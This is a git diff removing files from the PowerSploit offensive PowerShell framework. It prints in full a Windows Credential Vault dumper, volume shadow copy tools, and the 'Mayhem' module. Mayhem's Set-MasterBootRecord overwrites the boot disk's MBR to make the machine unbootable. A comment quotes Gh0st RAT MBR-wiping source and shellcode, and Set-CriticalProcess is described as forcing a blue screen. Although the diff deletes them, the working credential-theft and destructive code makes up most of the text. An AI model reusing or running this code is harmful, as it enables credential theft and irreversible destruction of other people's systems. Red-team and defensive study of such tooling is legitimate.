'Public, Static', - [Reflection.CallingConventions]::Standard, - [Int32], - [Type[]] @([Int32], - [Int32].MakeByRefType(), - [IntPtr].MakeByRefType()), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto) - - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems', - 'vaultcli.dll', - 'Public, Static', - [Reflection.CallingConventions]::Standard, - [Int32], - [Type[]] @([IntPtr], - [Int32], - [Int32].MakeByRefType(), - [IntPtr].MakeByRefType()), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto) - - if ($OSMajor -ge 6 -and $OSMinor -ge 2) - { - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', - 'vaultcli.dll', - 'Public, Static', - [Reflection.CallingConventions]::Standard, - [Int32], - [Type[]] @([IntPtr], - [Guid].MakeByRefType(), - [IntPtr], - [IntPtr], - [IntPtr], - [IntPtr], - [Int32], - [IntPtr].MakeByRefType()), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto) - } - else - { - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', - 'vaultcli.dll', - 'Public, Static', - [Reflection.CallingConventions]::Standard, - [Int32], - [Type[]] @([IntPtr], - [Guid].MakeByRefType(), - [IntPtr], - [IntPtr], - [IntPtr], - [Int32], - [IntPtr].MakeByRefType()), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto) - } - - $Vaultcli = $TypeBuilder.CreateType() - #endregion - - # Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct. - function local:Get-VaultElementValue - { - Param ( - [ValidateScript({$_ -ne [IntPtr]::Zero})] - [IntPtr] - $VaultElementPtr - ) - - $PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT) - $ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16) - - switch ($PartialElement.Type) - { - $VAULT_ELEMENT_TYPE::String { - $StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) - [Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr) - } - - $VAULT_ELEMENT_TYPE::Boolean { - [Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr) - } - - $VAULT_ELEMENT_TYPE::Short { - [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) - } - - $VAULT_ELEMENT_TYPE::UnsignedShort { - [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) - } - - $VAULT_ELEMENT_TYPE::Int { - [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) - } - - $VAULT_ELEMENT_TYPE::UnsignedInt { - [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) - } - - $VAULT_ELEMENT_TYPE::Double { - [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double]) - } - - $VAULT_ELEMENT_TYPE::Guid { - [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid]) - } - - $VAULT_ELEMENT_TYPE::Sid { - $SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) - Write-Verbose "0x$($SidPtr.ToString('X8'))" - $SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr) - $SidObject.Value - } - - # These elements are currently unimplemented. - # I have yet to see these used in practice. - $VAULT_ELEMENT_TYPE::ByteArray { $null } - $VAULT_ELEMENT_TYPE::TimeStamp { $null } - $VAULT_ELEMENT_TYPE::ProtectedArray { $null } - $VAULT_ELEMENT_TYPE::Attribute { $null } - $VAULT_ELEMENT_TYPE::Last { $null } - } - } - - $VaultCount = 0 - $VaultGuidPtr = [IntPtr]::Zero - $Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr) - - if ($Result -ne 0) - { - throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))" - } - - $GuidAddress = $VaultGuidPtr - - $VaultSchema = @{ - ([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note' - ([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential' - ([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector' - ([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials' - ([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials' - ([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential' - ([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential' - ([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential' - ([Guid] '00000000-0000-0000-0000-000000000000') = $null - } - - if ($VaultCount) - { - foreach ($i in 1..$VaultCount) - { - $VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid]) - $GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid])) - - $VaultHandle = [IntPtr]::Zero - - Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))" - - $Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle) - - if ($Result -ne 0) - { - Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" - continue - } - - $VaultItemCount = 0 - $VaultItemPtr = [IntPtr]::Zero - - $Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr) - - if ($Result -ne 0) - { - $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) - Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" - continue - } - - $StructAddress = $VaultItemPtr - - if ($VaultItemCount) - { - foreach ($j in 1..$VaultItemCount) - { - $CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM) - $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM)) - - $PasswordVaultItem = [IntPtr]::Zero - - if ($OSMajor -ge 6 -and $OSMinor -ge 2) - { - $Result = $Vaultcli::VaultGetItem($VaultHandle, - [Ref] $CurrentItem.SchemaId, - $CurrentItem.pResourceElement, - $CurrentItem.pIdentityElement, - $CurrentItem.pPackageSid, - [IntPtr]::Zero, - 0, - [Ref] $PasswordVaultItem) - } - else - { - $Result = $Vaultcli::VaultGetItem($VaultHandle, - [Ref] $CurrentItem.SchemaId, - $CurrentItem.pResourceElement, - $CurrentItem.pIdentityElement, - [IntPtr]::Zero, - 0, - [Ref] $PasswordVaultItem) - } - - $PasswordItem = $null - - if ($Result -ne 0) - { - Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))" - continue - } - else - { - $PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM) - } - - if ($VaultSchema.ContainsKey($VaultGuid)) - { - $VaultType = $VaultSchema[$VaultGuid] - } - else - { - $VaultType = $VaultGuid - } - - if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero) - { - $Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement - } - else - { - $Credential = $null - } - - $PackageSid = $null - - if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero)) - { - $PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid - } - - - $Properties = @{ - Vault = $VaultType - Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null } - Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null } - PackageSid = $PackageSid - Credential = $Credential - LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified) - } - - $VaultItem = New-Object PSObject -Property $Properties - $VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM' - - $VaultItem - - $null = $Vaultcli::VaultFree($PasswordVaultItem) - } - } - - $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) - } - } -} \ No newline at end of file diff --git a/Exfiltration/VolumeShadowCopyTools.ps1 b/Exfiltration/VolumeShadowCopyTools.ps1 index 49fe22de..e69de29b 100644 --- a/Exfiltration/VolumeShadowCopyTools.ps1 +++ b/Exfiltration/VolumeShadowCopyTools.ps1 @@ -1,292 +0,0 @@ -function Get-VolumeShadowCopy -{ -<# -.SYNOPSIS - - Lists the device paths of all local volume shadow copies. - - PowerSploit Function: Get-VolumeShadowCopy - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - Version: 2.0.0 -#> - - $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) - - if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) - { - Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' - } - - Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject } -} - -function New-VolumeShadowCopy -{ -<# -.SYNOPSIS - - Creates a new volume shadow copy. - - PowerSploit Function: New-VolumeShadowCopy - Author: Jared Atkinson (@jaredcatkinson) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - Version: 2.0.0 - -.DESCRIPTION - - New-VolumeShadowCopy creates a volume shadow copy for the specified volume. - -.PARAMETER Volume - - Volume used for the shadow copy. This volume is sometimes referred to as the original volume. - The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name. - -.PARAMETER Context - - Context that the provider uses when creating the shadow. The default is "ClientAccessible". - -.EXAMPLE - - New-VolumeShadowCopy -Volume C:\ - - Description - ----------- - Creates a new VolumeShadowCopy of the C drive -#> - Param( - [Parameter(Mandatory = $True)] - [ValidatePattern('^\w:\\')] - [String] - $Volume, - - [Parameter(Mandatory = $False)] - [ValidateSet("ClientAccessible")] - [String] - $Context = "ClientAccessible" - ) - - $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) - - if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) - { - Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' - } - - # Save VSS Service initial state - $running = (Get-Service -Name VSS).Status - - $class = [WMICLASS]"root\cimv2:win32_shadowcopy" - - $return = $class.create("$Volume", "$Context") - - switch($return.returnvalue) - { - 1 {Write-Error "Access denied."; break} - 2 {Write-Error "Invalid argument."; break} - 3 {Write-Error "Specified volume not found."; break} - 4 {Write-Error "Specified volume not supported."; break} - 5 {Write-Error "Unsupported shadow copy context."; break} - 6 {Write-Error "Insufficient storage."; break} - 7 {Write-Error "Volume is in use."; break} - 8 {Write-Error "Maximum number of shadow copies reached."; break} - 9 {Write-Error "Another shadow copy operation is already in progress."; break} - 10 {Write-Error "Shadow copy provider vetoed the operation."; break} - 11 {Write-Error "Shadow copy provider not registered."; break} - 12 {Write-Error "Shadow copy provider failure."; break} - 13 {Write-Error "Unknown error."; break} - default {break} - } - - # If VSS Service was Stopped at the start, return VSS to "Stopped" state - if($running -eq "Stopped") - { - Stop-Service -Name VSS - } -} - -function Remove-VolumeShadowCopy -{ -<# -.SYNOPSIS - - Deletes a volume shadow copy. - - PowerSploit Function: Remove-VolumeShadowCopy - Author: Jared Atkinson (@jaredcatkinson) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - Version: 2.0.0 - -.DESCRIPTION - - Remove-VolumeShadowCopy deletes a volume shadow copy from the system. - -.PARAMETER InputObject - - Specifies the Win32_ShadowCopy object to remove - -.PARAMETER DevicePath - - Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. - -.EXAMPLE - - Get-VolumeShadowCopy | Remove-VolumeShadowCopy - - Description - ----------- - Removes all volume shadow copy - -.EXAMPLE - - Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' - - Description - ----------- - Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4 -#> - [CmdletBinding(SupportsShouldProcess = $True)] - Param( - [Parameter(Mandatory = $True, ValueFromPipeline = $True)] - [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] - [String] - $DevicePath - ) - - PROCESS - { - if($PSCmdlet.ShouldProcess("The VolumeShadowCopy at DevicePath $DevicePath will be removed")) - { - (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete() - } - } -} - -function Mount-VolumeShadowCopy -{ -<# -.SYNOPSIS - - Mounts a volume shadow copy. - - PowerSploit Function: Mount-VolumeShadowCopy - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - Version: 2.0.0 - -.DESCRIPTION - - Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link. - -.PARAMETER Path - - Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved. - -.PARAMETER DevicePath - - Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. - -.EXAMPLE - - Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS - - Description - ----------- - Create a mount point in 'C:\VSS' for each volume shadow copy volume - -.EXAMPLE - - Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' - -.EXAMPLE - - Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ } -#> - - Param ( - [Parameter(Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [String] - $Path, - - [Parameter(Mandatory = $True, ValueFromPipeline = $True)] - [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] - [String[]] - $DevicePath - ) - - BEGIN - { - $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) - - if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) - { - Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' - } - - # Validate that the path exists before proceeding - Get-ChildItem $Path -ErrorAction Stop | Out-Null - - $DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False) - - # Define [VSS.Kernel32]::CreateSymbolicLink method using reflection - # (i.e. none of the forensic artifacts left with using Add-Type) - $TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class') - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink', - 'kernel32.dll', - ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), - [Reflection.CallingConventions]::Standard, - [Bool], - [Type[]]@([String], [String], [UInt32]), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto) - $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) - $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') - $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, - @('kernel32.dll'), - [Reflection.FieldInfo[]]@($SetLastError), - @($true)) - $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) - - $Kernel32Type = $TypeBuilder.CreateType() - } - - PROCESS - { - foreach ($Volume in $DevicePath) - { - $Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null - - $LinkPath = Join-Path $Path $Matches.LinkName - - if (Test-Path $LinkPath) - { - Write-Warning "'$LinkPath' already exists." - continue - } - - if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, "$($Volume)\", 1)) - { - Write-Error "Symbolic link creation failed for '$Volume'." - continue - } - - Get-Item $LinkPath - } - } - - END - { - - } -} \ No newline at end of file diff --git a/Mayhem/Mayhem.psd1 b/Mayhem/Mayhem.psd1 index 82035d8e..e69de29b 100644 --- a/Mayhem/Mayhem.psd1 +++ b/Mayhem/Mayhem.psd1 @@ -1,87 +0,0 @@ -@{ - -# Script module or binary module file associated with this manifest. -ModuleToProcess = 'Mayhem.psm1' - -# Version number of this module. -ModuleVersion = '1.0.0.0' - -# ID used to uniquely identify this module -GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c' - -# Author of this module -Author = 'Matthew Graeber' - -# Company or vendor of this module -CompanyName = '' - -# Copyright statement for this module -Copyright = 'BSD 3-Clause' - -# Description of the functionality provided by this module -Description = 'PowerSploit Mayhem Module' - -# Minimum version of the Windows PowerShell engine required by this module -PowerShellVersion = '2.0' - -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - -# Functions to export from this module -FunctionsToExport = '*' - -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'Mayhem'; ModuleVersion = '1.0.0.0'; GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'}) - -# List of all files packaged with this module -FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - -} diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1 index 0b4f843c..e69de29b 100644 --- a/Mayhem/Mayhem.psm1 +++ b/Mayhem/Mayhem.psm1 @@ -1,366 +0,0 @@ -function Set-MasterBootRecord -{ -<# -.SYNOPSIS - - Proof of concept code that overwrites the master boot record with the - message of your choice. - - PowerSploit Function: Set-MasterBootRecord - Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.DESCRIPTION - - Set-MasterBootRecord is proof of concept code designed to show that it is - possible with PowerShell to overwrite the MBR. This technique was taken - from a public malware sample. This script is inteded solely as proof of - concept code. - -.PARAMETER BootMessage - - Specifies the message that will be displayed upon making your computer a brick. - -.PARAMETER RebootImmediately - - Reboot the machine immediately upon overwriting the MBR. - -.PARAMETER Force - - Suppress the warning prompt. - -.EXAMPLE - - Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' - -.NOTES - - Obviously, this will only work if you have a master boot record to - overwrite. This won't work if you have a GPT (GUID partition table) -#> - -<# -This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): - -// CGh0stApp message handlers - -unsigned char scode[] = -"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" -"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" -"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; - -int CGh0stApp::KillMBR() -{ - HANDLE hDevice; - DWORD dwBytesWritten, dwBytesReturned; - BYTE pMBR[512] = {0}; - - // 重新构造MBR - memcpy(pMBR, scode, sizeof(scode) - 1); - pMBR[510] = 0x55; - pMBR[511] = 0xAA; - - hDevice = CreateFile - ( - "\\\\.\\PHYSICALDRIVE0", - GENERIC_READ | GENERIC_WRITE, - FILE_SHARE_READ | FILE_SHARE_WRITE, - NULL, - OPEN_EXISTING, - 0, - NULL - ); - if (hDevice == INVALID_HANDLE_VALUE) - return -1; - DeviceIoControl - ( - hDevice, - FSCTL_LOCK_VOLUME, - NULL, - 0, - NULL, - 0, - &dwBytesReturned, - NULL - ); - // 写入病毒内容 - WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); - DeviceIoControl - ( - hDevice, - FSCTL_UNLOCK_VOLUME, - NULL, - 0, - NULL, - 0, - &dwBytesReturned, - NULL - ); - CloseHandle(hDevice); - - ExitProcess(-1); - return 0; -} -#> - - [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( - [ValidateLength(1, 479)] - [String] - $BootMessage = 'Stop-Crying; Get-NewHardDrive', - - [Switch] - $RebootImmediately, - - [Switch] - $Force - ) - - if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) - { - throw 'This script must be executed from an elevated command prompt.' - } - - if (!$Force) - { - if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.')) - { - return - } - } - - #region define P/Invoke types dynamically - $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) - - $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') - $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) - $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') - $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, - @('kernel32.dll'), - [Reflection.FieldInfo[]]@($SetLastError), - @($True)) - - # Define [Win32.Kernel32]::DeviceIoControl - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl', - 'kernel32.dll', - ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), - [Reflection.CallingConventions]::Standard, - [Bool], - [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto) - $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) - - # Define [Win32.Kernel32]::CreateFile - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile', - 'kernel32.dll', - ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), - [Reflection.CallingConventions]::Standard, - [IntPtr], - [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Ansi) - $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) - - # Define [Win32.Kernel32]::WriteFile - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile', - 'kernel32.dll', - ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), - [Reflection.CallingConventions]::Standard, - [Bool], - [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Ansi) - $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) - - # Define [Win32.Kernel32]::CloseHandle - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle', - 'kernel32.dll', - ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), - [Reflection.CallingConventions]::Standard, - [Bool], - [Type[]]@([IntPtr]), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto) - $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) - - $Kernel32 = $TypeBuilder.CreateType() - #endregion - - $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5))) - # Convert the boot message to a byte array - $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage)) - - [Byte[]] $MBRInfectionCode = @( - 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA - 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode - 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color - 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue - 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color - 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20 - 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length - 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters - 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White - 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0 - 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string - 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer - ) + $MessageBytes - - $MBRSize = [UInt32] 512 - - if ($MBRInfectionCode.Length -gt ($MBRSize - 2)) - { - throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes." - } - - # Allocate 512 bytes for the MBR - $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) - - # Zero-initialize the allocated unmanaged memory - 0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } - - [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) - - # Write boot record signature to the end of the MBR - [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55) - [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA) - - # Get the device ID of the boot disk - $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID - - $GENERIC_READWRITE = 0x80000000 -bor 0x40000000 - $FILE_SHARE_READWRITE = 2 -bor 1 - $OPEN_EXISTING = 3 - - # Obtain a read handle to the raw disk - $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0) - - if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF)) - { - throw "Unable to obtain read/write handle to $DeviceID" - } - - $BytesReturned = [UInt32] 0 - $BytesWritten = [UInt32] 0 - $FSCTL_LOCK_VOLUME = 0x00090018 - $FSCTL_UNLOCK_VOLUME = 0x0009001C - - $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) - $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0) - $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) - $null = $Kernel32::CloseHandle($DriveHandle) - - Start-Sleep -Seconds 2 - - [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes) - - Write-Verbose 'Master boot record overwritten successfully.' - - if ($RebootImmediately) - { - Restart-Computer -Force - } -} - -function Set-CriticalProcess -{ -<# -.SYNOPSIS - -Causes your machine to blue screen upon exiting PowerShell. - -PowerSploit Function: Set-CriticalProcess -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.PARAMETER ExitImmediately - -Immediately exit PowerShell after successfully marking the process as critical. - -.PARAMETER Force - -Set the running PowerShell process as critical without asking for confirmation. - -.EXAMPLE - -Set-CriticalProcess - 